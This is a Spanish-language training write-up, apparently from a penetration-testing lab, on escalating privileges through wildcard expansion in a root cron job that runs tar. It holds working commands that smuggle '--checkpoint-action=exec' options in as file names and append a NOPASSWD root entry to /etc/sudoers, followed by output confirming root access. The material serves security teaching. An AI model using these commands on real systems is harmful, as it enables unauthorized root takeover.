Wildcard Abuse

Un wildcard (comodín) puede ser utilizado como reemplazo de otros caracteres y son interpretados por el shell antes de otras acciones. Ejemplos de wildcards incluyen:

Character Significance
* Un asterisco que puede coincidir con cualquier número de caracteres en un nombre de archivo.
? Coincide con un solo carácter.
[ ] Corchetes que encierran caracteres y pueden coincidir con cualquier carácter único en la posición definida.
~ Una tilde al principio se expande al nombre del directorio home del usuario o puede tener otro nombre de usuario añadido para referirse al directorio home de ese usuario.
- Un guion dentro de los corchetes denota un rango de caracteres.

Un ejemplo de cómo los wildcards pueden ser abusados para la escalada de privilegios es el comando tar, un programa común para crear/extraer archivos. Si miramos la man page del comando tar, vemos lo siguiente:

htb_student@NIX02:~$ man tar

<SNIP>
Informative output
       --checkpoint[=N]
              Display progress messages every Nth record (default 10).

       --checkpoint-action=ACTION
              Run ACTION on each checkpoint.

La opción --checkpoint-action permite que se ejecute una acción EXEC cuando se alcanza un checkpoint (es decir, ejecutar un comando arbitrario del sistema operativo una vez que se ejecuta el comando tar). Al crear archivos con estos nombres, cuando se especifica el wildcard, --checkpoint=1 y --checkpoint-action=exec=sh root.sh se pasan a tar como opciones de línea de comandos. Veamos esto en práctica.

Consideremos el siguiente cron job, que está configurado para respaldar el contenido del directorio /home/htb-student y crear un archivo comprimido dentro de /home/htb-student. El cron job está configurado para ejecutarse cada minuto, por lo que es un buen candidato para la escalada de privilegios.

#
#
mh dom mon dow command
*/01 * * * * cd /home/htb-student && tar -zcf /home/htb-student/backup.tar.gz *

Podemos aprovechar el wildcard en el cron job para escribir los comandos necesarios como nombres de archivos teniendo en cuenta lo anterior. Cuando el cron job se ejecute, estos nombres de archivos serán interpretados como argumentos y ejecutarán cualquier comando que especifiquemos.

htb-student@NIX02:~$ echo 'echo "htb-student ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh
htb-student@NIX02:~$ echo "" > "--checkpoint-action=exec=sh root.sh"
htb-student@NIX02:~$ echo "" > --checkpoint=1

Podemos comprobar y ver que los archivos necesarios fueron creados.

htb-student@NIX02:~$ ls -la

total 56
drwxrwxrwt 10 root        root        4096 Aug 31 23:12 .
drwxr-xr-x 24 root        root        4096 Aug 31 02:24 ..
-rw-r--r--  1 root        root         378 Aug 31 23:12 backup.tar.gz
-rw-rw-r--  1 htb-student htb-student    1 Aug 31 23:11 --checkpoint=1
-rw-rw-r--  1 htb-student htb-student    1 Aug 31 23:11 --checkpoint-action=exec=sh root.sh
drwxrwxrwt  2 root        root        4096 Aug 31 22:36 .font-unix
drwxrwxrwt  2 root        root        4096 Aug 31 22:36 .ICE-unix
-rw-rw-r--  1 htb-student htb-student   60 Aug 31 23:11 root.sh

Una vez que el cron job se ejecute nuevamente, podemos verificar los nuevos privilegios de sudo y hacer sudo a root directamente.

htb-student@NIX02:~$ sudo -l

Matching Defaults entries for htb-student on NIX02:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User htb-student may run the following commands on NIX02:
    (root) NOPASSWD: ALL